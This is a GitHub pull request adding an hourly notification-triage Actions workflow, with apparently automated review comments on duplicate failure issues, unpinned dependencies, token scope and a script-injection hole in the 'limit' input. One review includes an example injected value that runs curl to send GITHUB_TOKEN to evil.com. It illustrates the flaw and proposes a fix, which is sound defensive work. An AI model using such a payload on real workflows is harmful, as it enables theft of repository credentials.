feat: add hourly scheduled notification triage workflow#3
Conversation
- Runs every hour via cron (0 * * * *) - Manual trigger via workflow_dispatch with limit + dry_run inputs - Uses TRIAGE_GITHUB_TOKEN (or built-in GITHUB_TOKEN as fallback) - Uses ANTHROPIC_API_KEY for Claude; falls back to rule-based if absent - Posts results to GitHub Actions job summary - Auto-creates an issue if the triage run fails Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
There was a problem hiding this comment.
Pull request overview
This PR adds a new GitHub Actions workflow (.github/workflows/triage.yml) that automatically runs a notification triage script (notification_copilot.py) on an hourly cron schedule. It also supports manual triggers with configurable limit and dry_run inputs, writes a summary to GITHUB_STEP_SUMMARY, and auto-creates an issue on failure.
Changes:
- Adds an hourly scheduled workflow to run
notification_copilot.pywith optional Claude LLM classification - Provides manual
workflow_dispatchtrigger withlimitanddry_runinputs - Includes automatic issue creation on workflow failure for alerting
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| github.rest.issues.create({ | ||
| owner: context.repo.owner, | ||
| repo: context.repo.repo, | ||
| title: `Notification triage failed — ${new Date().toISOString().slice(0,16).replace('T',' ')} UTC`, | ||
| body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`, | ||
| labels: ['bug', 'automated'], | ||
| }); |
There was a problem hiding this comment.
The failure handler will create a new issue every time the workflow fails, including on every hourly scheduled run. If the failure persists (e.g., expired token), this will create up to 24 issues per day. Consider adding a check for existing open issues with the same labels before creating a new one, or using a fixed issue title so duplicate issues are not created.
| github.rest.issues.create({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| title: `Notification triage failed — ${new Date().toISOString().slice(0,16).replace('T',' ')} UTC`, | |
| body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`, | |
| labels: ['bug', 'automated'], | |
| }); | |
| const failureTitle = 'Notification triage failed'; | |
| const { data: issues } = await github.rest.issues.listForRepo({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| state: 'open', | |
| labels: 'bug,automated', | |
| }); | |
| const existing = issues.find(issue => issue.title === failureTitle); | |
| if (existing) { | |
| core.info(`Existing open failure issue #${existing.number} found, not creating a duplicate.`); | |
| } else { | |
| await github.rest.issues.create({ | |
| owner: context.repo.owner, | |
| repo: context.repo.repo, | |
| title: failureTitle, | |
| body: `## ⚠️ Scheduled triage failed\n\n**Run:** ${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}\n\nCheck the run logs for details. Common causes:\n- \`TRIAGE_GITHUB_TOKEN\` secret missing or expired\n- \`ANTHROPIC_API_KEY\` invalid (rule-based fallback should still work)\n- GitHub API rate limit hit`, | |
| labels: ['bug', 'automated'], | |
| }); | |
| } |
| workflow_dispatch: # manual trigger with inputs | ||
| inputs: | ||
| limit: | ||
| description: 'Max notifications to triage' |
There was a problem hiding this comment.
Script injection vulnerability: The limit input is interpolated directly into the shell script via ${{ github.event.inputs.limit }} on line 43. Since limit has no type constraint (defaults to string), a user with write access could inject arbitrary shell commands. For example, setting limit to 50"; curl http://evil.com/steal?token=$GITHUB_TOKEN # would exfiltrate the token.
The safe fix is to either:
- Add
type: numberto thelimitinput definition (which GitHub will validate), or - Set the input as an environment variable first (using
env:mapping) and reference it as$LIMITinstead of using the${{ }}expression directly inrun:.
| description: 'Max notifications to triage' | |
| description: 'Max notifications to triage' | |
| type: number |
| cache: pip | ||
|
|
||
| - name: Install dependencies | ||
| run: pip install requests pyyaml python-dotenv anthropic |
There was a problem hiding this comment.
The project has a requirements.txt with pinned dependency versions (e.g., requests==2.31.0, anthropic==0.25.0), but this workflow installs unpinned packages directly via pip install requests pyyaml python-dotenv anthropic. This means the workflow may use different (and potentially incompatible or vulnerable) versions compared to what the project specifies. Use pip install -r requirements.txt instead to stay consistent and reproducible. Note that the CI workflow (ci.yml line 40) also installs without requirements.txt, so this is a broader inconsistency worth fixing here.
| run: pip install requests pyyaml python-dotenv anthropic | |
| run: pip install -r requirements.txt |
| # GITHUB_TOKEN is the Actions token — has notifications:read + write scope | ||
| GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN || secrets.GITHUB_TOKEN }} | ||
| ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} | ||
| run: | |
There was a problem hiding this comment.
The comment on line 39 says the built-in GITHUB_TOKEN "has notifications:read + write scope," but that is incorrect. The default GITHUB_TOKEN provided by GitHub Actions does not have notifications scope — it only has permissions scoped to the repository. The fallback to secrets.GITHUB_TOKEN will cause the triage to fail silently or with an API error if TRIAGE_GITHUB_TOKEN is not set. Consider updating the comment to clarify this limitation, and potentially adding a check/warning in the workflow if the PAT secret is not configured.
| # GITHUB_TOKEN is the Actions token — has notifications:read + write scope | |
| GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN || secrets.GITHUB_TOKEN }} | |
| ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} | |
| run: | | |
| # TRIAGE_GITHUB_TOKEN must be a PAT with notifications:read + write scope. | |
| # The default Actions GITHUB_TOKEN does NOT have notifications scope. | |
| GITHUB_TOKEN: ${{ secrets.TRIAGE_GITHUB_TOKEN }} | |
| TRIAGE_GITHUB_TOKEN_CONFIGURED: ${{ secrets.TRIAGE_GITHUB_TOKEN != '' }} | |
| ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} | |
| run: | | |
| if [ "${TRIAGE_GITHUB_TOKEN_CONFIGURED}" != "true" ]; then | |
| echo "ERROR: TRIAGE_GITHUB_TOKEN is not configured." >&2 | |
| echo "The default Actions GITHUB_TOKEN does not have notifications scope; please add a TRIAGE_GITHUB_TOKEN secret with notifications:read + write permissions." >&2 | |
| exit 1 | |
| fi |
|
@copilot open a new pull request to apply changes based on the comments in this thread |
What this adds
A
triage.ymlGitHub Actions workflow that automatically runs notification triage on a schedule.Schedule
cron: 0 * * * *)Inputs (manual trigger only)
limit50dry_runfalseRequired secret
Add
TRIAGE_GITHUB_TOKENin repo Settings → Secrets → Actions.This needs a Personal Access Token (classic) with:
notificationsscope (read + write)reposcope (for adding labels to issues/PRs)Or it falls back to the built-in
GITHUB_TOKENwhich has limited notification permissions.Optional secret
ANTHROPIC_API_KEY— enables Claude classification. Without it, rule-based fallback activates automatically.Failure handling
If the run fails, an issue is auto-created in this repo with a link to the failed run.